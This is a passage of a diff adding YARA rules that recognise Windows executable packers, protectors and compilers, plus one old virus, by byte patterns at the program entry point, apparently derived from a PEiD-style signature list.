+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+		$1 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+		$2 = {90 90 75 ?? 90 E9}
+		$3 = {90 90 90 75 ?? 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PseudoSigner_02_Lockless_Intro_Pack_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Lockless Intro Pack]"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+	condition:
+		$0 at entrypoint
+}
+rule _LCC_Win32_DLL_
+{
+	meta:
+		description = "LCC Win32 DLL"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Studio_NET_
+{
+	meta:
+		description = "Microsoft Visual Studio .NET"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_40_
+{
+	meta:
+		description = "Crunch 4.0"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_Cpp__
+{
+	meta:
+		description = "Microsoft Visual C++ ?.?"
+	strings:
+		$0 = {83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PEcrypt__by_archphase_
+{
+	meta:
+		description = "PEcrypt - by archphase"
+	strings:
+		$0 = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9}
+		$1 = {55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Windows_Animation_format_
+{
+	meta:
+		description = "Windows Animation format"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 41 43 4F 4E 4C 49 53 54}
+	condition:
+		$0
+}
+rule _PENightMare_v13_
+{
+	meta:
+		description = "PENightMare v1.3"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D B9 ?? ?? ?? ?? 80 31 15 41 81 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v1xx__v2xx_
+{
+	meta:
+		description = "Armadillo v1.xx - v2.xx"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881995_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1995"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+		$1 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _theWRAP__by_TronDoc_
+{
+	meta:
+		description = "theWRAP - by TronDoc"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF}
+		$1 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 48 D2 4B 00 E8 BC 87 F4 FF BB 04 0B 4D 00 33 C0 55 68 E8 D5 4B 00 64 FF 30 64 89 20 E8 9C F4 FF FF E8 F7 FB FF FF 6A 40 8D 55 F0 A1 F0 ED 4B 00 8B 00 E8 42 2E F7 FF 8B 4D F0 B2 01 A1 F4 C2 40 00 E8 F7 20 F5 FF 8B F0 B2 01 A1 B4 C3 40 00 E8 F1 5B F4 FF 89 03 33 D2 8B 03 E8 42 1E F5 FF 66 B9 02 00 BA FC FF FF FF 8B C6 8B 38 FF 57 0C BA B8 A7 4D 00 B9 04 00 00 00 8B C6 8B 38 FF 57 04 83 3D B8 A7 4D 00 00 0F 84 5E 01 00 00 8B 15 B8 A7 4D 00 83 C2 04 F7 DA 66 B9 02 00 8B C6 8B 38 FF 57 0C 8B 0D B8 A7 4D 00 8B D6 8B 03 E8 2B 1F F5 FF 8B C6 E8 B4 5B F4 FF 33 D2 8B 03 E8 DF 1D F5 FF BA F0 44 4E 00 B9 01 00 00 00 8B 03 8B 30 FF 56 04 80 3D F0 44 4E 00 0A 75 3F BA B8 A7 4D 00 B9 04 00 00 00 8B 03 8B 30 FF 56 04 8B 15 B8 A7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_CDCops_II_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CD-Cops II]"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Protector_v1111_DDeM__PE_Engine_v09_DDeM__CI_v092_
+{
+	meta:
+		description = "Protector v1.1.11 (DDeM -> PE Engine v0.9, DDeM -> CI v0.9.2)"
+	strings:
+		$0 = {53 51 56 E8 00 00 00 00 5B 81 EB 08 10 00 00 8D B3 34 10 00 00 B9 F3 03 00 00 BA 63 17 2A EE 31 16 83 C6 04}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32)"
+	strings:
+		$0 = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_4x__PGWare_LLC_
+{
+	meta:
+		description = "Alloy 4.x -> PGWare LLC"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68}
+		$1 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 6A 04 68 00 10 00 00 68 00 02 00 00 6A 00 FF 95 A8 33 40 00 0B C0 0F 84 F6 01 00 00 89 85 2E 33 40 00 83 BD E8 32 40 00 01 74 0D 83 BD E4 32 40 00 01 74 2A 8B F8 EB 3E 68 D8 01 00 00 50 FF 95 CC 33 40 00 50 8D 85 28 33 40 00 50 FF B5 2E 33 40 00 FF 95 D0 33 40 00 58 83 C0 05 EB 0C 68 D8 01 00 00 50 FF 95 C0 33 40 00 8B BD 2E 33 40 00 03 F8 C6 07 5C 47 8D B5 00 33 40 00 AC 0A C0 74 03 AA EB F8 83 BD DC 32 40 00 01 74 7A 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 FF B5 2E 33 40 00 FF 95 B4 33 40 00 83 F8 FF 74 57 89 85 32 33 40 00 8D 85 56 33 40 00 8D 9D 5E 33 40 00 8D 8D 66 33 40 00 51 53 50 FF B5 32 33 40 00 FF 95 C4 33 40 00 FF B5 32 33 40 00 FF 95 B8 33 40 00 8B 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCrypt_v351_
+{
+	meta:
+		description = "PCrypt v3.51"
+	strings:
+		$0 = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_EXE_
+{
+	meta:
+		description = "WebCops [EXE"
+	strings:
+		$0 = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2545__Jitit__Sign_by_fly_
+{
+	meta:
+		description = "Thinstall Embedded V2.545 -> Jitit ! Sign by fly"
+	strings:
+		$0 = {E8 F2 FF FF FF 50 68 ?? ?? ?? ?? 68 40 1B 00 00 E8 42 FF FF FF E9 9D FF FF FF 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0/v6.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_120_Basic_Edition_LZMA__Ap0x_
+{
+	meta:
+		description = "RLPack 1.20 Basic Edition [LZMA] -> Ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 9C 0C 00 00 EB 0C 8B 85 98 0C 00 00 89 85 9C 0C 00 00 8D B5 C4 0C 00 00 8D 9D 82 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 2D 0C 00 00 89 85 94 0C 00 00 E8 59 01 00 00 EB 20 60 8B 85 9C 0C 00 00 FF B5 94 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCrypt_PE__214b215__JLab_Software_Creations_hoep_
+{
+	meta:
+		description = "PolyCrypt PE - 2.1.4b/2.1.5 -> JLab Software Creations (h-oep)"
+	strings:
+		$0 = {91 8B F4 AD FE C9 80 34 08 ?? E2 FA C3 60 E8 ED FF FF FF EB}
+	condition:
+		$0
+}
+rule _MaskPE_V20__yzkzero_
+{
+	meta:
+		description = "MaskPE V2.0 -> yzkzero"
+	strings:
+		$0 = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+	condition:
+		$0
+}
+rule _eXPressor_v12__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor v1.2 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TrojanTelefoon_
+{
+	meta:
+		description = "Vx: Trojan.Telefoon"
+	strings:
+		$0 = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16b__v16c__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6b / v1.6c --> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68}
+		$1 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Delphi_v60_
+{
+	meta:
+		description = "Borland Delphi v6.0"
+	strings:
+		$0 = {53 8B D8 33 C0 A3 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? FF A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? E8}
+		$1 = {55 8B EC 83 C4 F0 B8 ?? ?? 45 00 E8 ?? ?? ?? FF A1 ?? ?? 45 00 8B 00 E8 ?? ?? FF FF 8B 0D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_v102_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Gamehouse_Media_Protector_Version_Unknown_
+{
+	meta:
+		description = "Gamehouse Media Protector Version Unknown"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftDefender_1x__Randy_Li_
+{
+	meta:
+		description = "SoftDefender 1.x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+		$1 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Enigma_Protector_11X13X__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.1X-1.3X -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 00 10 40 00 E8 01 00 00 00 9A 83 C4 10 8B E5 5D E9}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_b2_
+{
+	meta:
+		description = "SPEC b2"
+	strings:
+		$0 = {55 57 51 53 E8 ?? ?? ?? ?? 5D 8B C5 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 09 89 85 ?? ?? ?? ?? 0F B6}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V10b__Ashkbiz_Danehkar__Sign_by_fly_
+{
+	meta:
+		description = "yoda's Protector V1.0b -> Ashkbiz Danehkar ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v112_
+{
+	meta:
+		description = "Soft Defender v1.12"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 BE 01 00 00 03 C8 74 BD 75 BB E8}
+	condition:
+		$0
+}
+rule _SuperDAT_
+{
+	meta:
+		description = "SuperDAT"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 F3 42 00 68 A4 BF 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 08 F2 42 00 33 D2 8A D4 89 15 60 42 43 00 8B C8 81 E1 FF 00 00 00 89 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v37__North_Star_h_
+{
+	meta:
+		description = "NsPack v3.7 -> North Star (h)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 8D ?? ?? ?? FF 80 39 01 0F 84 42 02 00 00 C6 01 01 8B C5 2B 85 ?? ?? ?? FF 89 85 ?? ?? ?? FF 01 85 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 01 06 55 56 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? ?? FF 85 C0 0F 84 69 03 00 00 89 85 ?? ?? ?? FF E8 00 00 00 00 5B B9 67 03 00 00 03 D9 50 53 E8 B0 02 00 00 5E 5D 8B 36 8B FD 03 BD ?? ?? ?? FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 34 01 13 8B 33 03 7B 04 57 51 53 FF B5 ?? ?? ?? FF FF B5 ?? ?? ?? FF 8B D6 8B CF 8B 85 ?? ?? ?? FF 05 AA 05 00 00 FF D0 5B 59 5F 83 F9 00 74 05 83 C3 08 EB C7 68 00 80 00 00 6A 00 FF B5 ?? ?? ?? FF FF 95 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01 00 74 14 8A 1A 38 1F 75 E9 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 EB 0A 8A 5F 04 86 C4 C1 C0 10 86 C4 2B C7 03 C6 89 07 83 C7 05 80 EB E8 8B C3 E2 C6 E8 3A 01 00 00 8D 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6 -> Vaska"
+	strings:
+		$0 = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {33 D0 68 ?? ?? ?? ?? FF D2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MZ0oPE_106b__TaskFall_
+{
+	meta:
+		description = "MZ0oPE 1.0.6b -> TaskFall"
+	strings:
+		$0 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+		$1 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00}
+		$2 = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PESHiELD_v025_
+{
+	meta:
+		description = "PESHiELD v0.25"
+	strings:
+		$0 = {60 E8 2B 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v211d_
+{
+	meta:
+		description = "ASPack v2.11d"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_f2f_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda f2f"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50}
+		$1 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 B7 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1A 12 40 00 FF 35 08 12 40 00 E8 98 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 8B 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 34 12 40 00 FF 35 08 12 40 00 E8 6C 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 5F 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Shrink_v20_
+{
+	meta:
+		description = "Shrink v2.0"
+	strings:
+		$0 = {E9 ?? ?? 50 9C FC BE ?? ?? 8B FE 8C C8 05 ?? ?? 8E C0 06 57 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Basic_50__60_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0]"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_v12_
+{
+	meta:
+		description = "EPW v1.2"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E ?? ?? ?? ?? 8C C0 05 ?? ?? 2E ?? ?? ?? 8E D8 A1 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v0164_
+{
+	meta:
+		description = "CodeCrypt v0.164"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34}
+	condition:
+		$0 at entrypoint
+}
+rule _MetaWare_High_C_p_Phar_Lap_DOS_Extender_198389_
+{
+	meta:
+		description = "MetaWare High C + Phar Lap DOS Extender 1983-89"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V11__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 57 84 40 00 2D 50 84 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_V031__emadicius_
+{
+	meta:
+		description = "MSLRH V0.31 -> emadicius"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
